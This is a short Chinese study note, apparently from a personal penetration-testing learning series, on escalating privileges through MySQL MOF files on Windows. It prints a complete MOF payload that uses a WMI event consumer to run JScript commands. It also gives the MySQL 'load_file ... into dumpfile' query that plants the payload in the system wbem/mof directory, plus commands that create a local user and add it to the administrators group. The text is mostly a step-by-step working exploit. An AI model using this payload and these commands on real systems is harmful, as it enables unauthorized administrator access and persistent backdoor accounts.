Day3——提权学习之MySQL数据库（MOF提权）

0x00 原理

利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件，每分钟都会在一个特定的时间去执行一次的特性，来写入我们的cmd命令使其被带入执行。

0x01 利用条件

具备Mysql的root权限

0x02 提权关键

导入nullevt.mof

0x03 提权步骤

1、生成 nullevt.mof文件,上传文件到可写目录

#pragma namespace(“\\.\root\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa ”Win32_LocalTime” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(”WScript.Shell”)
WSH.run(”net.exe user quan 123 /add”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

2、执行导入命令
把我们的提权命令将 nullevt.mof 导入到c:/windows/system32/wbem/mof/目录

select load_file(“G:/test/nullevt.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”

导入后，系统会自动运行该文件。
3、将提权脚本中添加用户命令修改为提升至administrators组：net.exe localgroup administrators quan /add，再次上传并导入

为了更高的成功率，我们必须分开两次导入该脚本。
第一次为添加用户，第二次对添加的用户进行提权。

添加用户

net.exe user quan 123 /add

对添加的用户进行提权

net.exe localgroup administrators quan /add

4、net user查看用户

0x04 参考

《网络攻防实战研究——漏洞利用与提权》
https://www.cnblogs.com/wh4am1/p/6613770.html